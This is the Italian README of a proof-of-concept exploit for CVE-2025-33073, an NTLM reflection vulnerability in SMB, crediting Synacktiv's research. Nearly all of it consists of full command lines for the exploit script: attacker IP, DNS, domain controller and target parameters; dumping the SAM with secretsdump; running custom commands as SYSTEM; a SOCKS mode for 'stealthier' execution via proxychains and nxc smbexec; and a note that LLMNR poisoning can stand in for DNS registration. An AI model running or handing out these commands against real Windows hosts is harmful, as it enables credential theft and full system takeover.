
PoC Exploit per la vulnerabilità SMB di riflessione NTLM.
PoC Exploit per la vulnerabilità SMB di riflessione NTLM.
Tutti i crediti vanno alla ricerca ufficiale:
https://www.synacktiv.com/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025
Sistema operativo: Kali Linux (ha la maggior parte dei pacchetti preinstallati).
GUI
python3 CVE-2025-33073.py -u 'wintastic.local\mathijs' -p 'password' --attacker-ip 192.168.178.49 --dns-ip 192.168.178.138 --dc-fqdn DC01.wintastic.local --target CLIENT01.wintastic.local --target-ip 192.168.178.65

CLI
python3 CVE-2025-33073.py -u 'wintastic.local\mathijs' -p 'password' --attacker-ip 192.168.178.49 --dns-ip 192.168.178.138 --dc-fqdn DC01.wintastic.local --target CLIENT01.wintastic.local --target-ip 192.168.178.65 --cli-only

Comando personalizzato
Invece di eseguire secretsdump, è possibile eseguire un comando personalizzato.
python3 CVE-2025-33073.py -u 'wintastic.local\mathijs' -p 'password' --attacker-ip 192.168.178.49 --dns-ip 192.168.178.138 --dc-fqdn DC01.wintastic.local --target CLIENT01.wintastic.local --target-ip 192.168.178.65 --cli-only --custom-command "whoami"

SOCKS
Per un'esecuzione più furtiva dei comandi dopo che è stata stabilita una connessione valida come SYSTEM. --target e --target-ip devono essere uguali qui.
python3 CVE-2025-33073.py -u 'wintastic.local\mathijs' -p 'password' --attacker-ip 192.168.178.49 --dns-ip 192.168.178.138 --dc-fqdn DC01.wintastic.local --target 192.168.178.65 --target-ip 192.168.178.65 --cli-only --socks
È inoltre possibile eseguire un comando personalizzato tramite proxychains invece di estrarre il SAM.
proxychains nxc smb 192.168.178.65 -d '' -u '' -p '' -x 'whoami' --exec-method smbexec

Se ti trovi nello stesso dominio di broadcast del dispositivo ed è vulnerabile all'avvelenamento LLMNR, è possibile sfruttare un dispositivo senza dover registrare un record DNS.

L'autenticazione NTLM locale avviene

L'autenticazione NTLM locale non avviene, risultando in un tentativo FALLITO
